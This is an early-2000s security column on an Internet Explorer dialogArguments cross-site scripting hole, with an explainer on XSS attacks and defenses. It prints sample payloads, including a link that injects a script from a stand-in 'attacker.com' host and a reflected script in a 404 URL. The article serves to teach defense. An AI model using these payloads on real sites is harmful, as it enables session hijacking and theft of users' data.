Unfortunately, the code dialogArguments uses to defend against CSS-type attacks is faulty, thus opening a security hole big enough to drive the proverbial truck through. Since dialogArguments represent general functionality in the browser, the implications are not limited to P3P privacy features. But the irony of the situation is hard to miss.
Bouncing an HTTP redirect from the attacker's site to one of the flawed dialogArguments functions essentially grants an attacker full reign over the victim's machine. Any script can be injected and run, enabling cookie-stealing attacks and countless others. Demonstrations to drive the point home are available in Larholm's advisory, including one to hijack a victim's MSN session and harvest his or her contact list.
While the threat of such an attack should strike fear into the heart of any security analyst, it seems the "I-can't-believe-it" reaction is seemingly becoming less acute as we grow accustomed to swarms of Web bugs. Resist the temptation to accept mediocrity and express shock at such high-risk exposures. Moreover, put pressure on the vendor in question and support full, responsible disclosure of security vulnerability information.
As an administrator, you have the familiar dichotomy of choices in handling this vulnerability. You can wait for Microsoft to release a patch, or you can disable scripting. Unfortunately, recommending that users disable scripting is akin to demanding they revert to a 56-Kbps modem, since always-on broadband connection presents an unnecessarily high risk.
For better or worse, IE is nearly a necessity for sites coded without consideration for non-Microsoft browsers. But it's not enough to be security-conscious and to keep your browser patched when existing versions contain serious unpatched vulnerabilities. Patch management is a major challenge in corporations.
I use Opera, which has had a limited number of security issues and extensive platform support. Of course, past performance is no guarantee of future success.
And make no mistake, Microsoft cannot argue that it has used best practices on the secure programming front. But the company's products are in the crosshairs of a talented cadre of security researchers, guaranteeing new vulnerability discoveries on a regular basis.
Online Only: Cross-Site Scripting Explained
Cross-site scripting (CSS) attacks exploit the trust model between the Web-browsing victim and the Web site that is highly trusted by that user (for example, a banking or eCommerce site). Essentially, scripts written and designed by the attacker are executed in the context of the trusted site, and therefore bypass restrictions that would have been placed on non-trusted sites (i.e. "no scripting").
The nebulous "CSS attack" can take several forms; we'll discuss two.
The well-known and easiest to exploit method affects sites allowing users to add content to the Web site, such as through a message board. Unless the site takes precautions before generating the message based on user input, trouble soon follows. By posting content that contains interpreted content like JavaScript, an attacker can quickly steal information either from the user herself (i.e. by spoofing a "password verfication" prompt), or the browser and browser documents (more on this below). The classic CSS example:
<A HREF="http://trusted.com/comment.cgi?mycomment=<SCRIPT
SRC='http://attacker.com/badfile'></SCRIPT>">Foobar</A>
"Badfile" is thus executed in the (trusted) context of trusted.com. Fortunately, modern browsers prevent these simplistic CSS attacks. Defending against the type of CSS in question is conceptually simple: Do not allow users to post interpreted, or otherwise "executable" content. Implementing these mechanisms harks back to a classic question in secure input scrubbing: filtering out unauthorized input (default allow) or allowing only known good input (default deny). Digging into these defense models is beyond our scope, but keep in mind that as the proprietor of a Web site faced with CSS challenges, not only are you dependent on your coders to validate all user input parameters -- but your vendor as well.
As you guessed, most vendors are still playing catch up. A quick look at the vulnerability and patch-tracking mailing list, "Security Alert Consensus" (SAC) -- a free service from Network Computing and SANS (System Administration, Networking and Security) -- reveals that in the past month (4/2/2002 - 5/2/200), thirteen new CSS vulnerabilities were discovered and publicly exposed. For more details, see Our Security Alert Consensus newsletter archive.
Another type of CSS attack, more insidious in some respects, involves malicious content that is sent by a client to itself. The attacker creates a link to the trusted site, included either in an e-mail message or on her own Web site. The link contains the malicious scripted content, which is rejected by the trusted site since the "page" does not exist. Web servers vulnerable to this type of attack will send back the requested page, which is of course the attack script itself, which is then naively run by the user's browser. Such an attack takes the following form:
<A HREF=http://trusted.com/<script>alert('Malicious scripting...')...
</script>">Click Here</a>
And the server sends back to the client the attack payload:
<HTML>
404 page not found: <script>alert('Malicious scripting...')...</script>
...
</HTML>
So what does CSS give the attacker? Potentially, an incredible amount of information. For example, the attacker can read fields in forms from trusted.com, including coveted credit card information, and send this back to the attacker's site. Besides "monitoring" the Web session, the attacker may also be able to trigger the launch of local programs. Finally, attacks can be made persistent if the attacker "poisons" the victim's cookies so that future visits to our example site, trusted.com, will present pages rendered based on the poisoned cookies.
For an excellent reference for CSS, see the CERT advisory: www.cert.org/advisories/CA-2000-02.html
--Patrick Mueller, pmueller@neohapsis.com
RSS
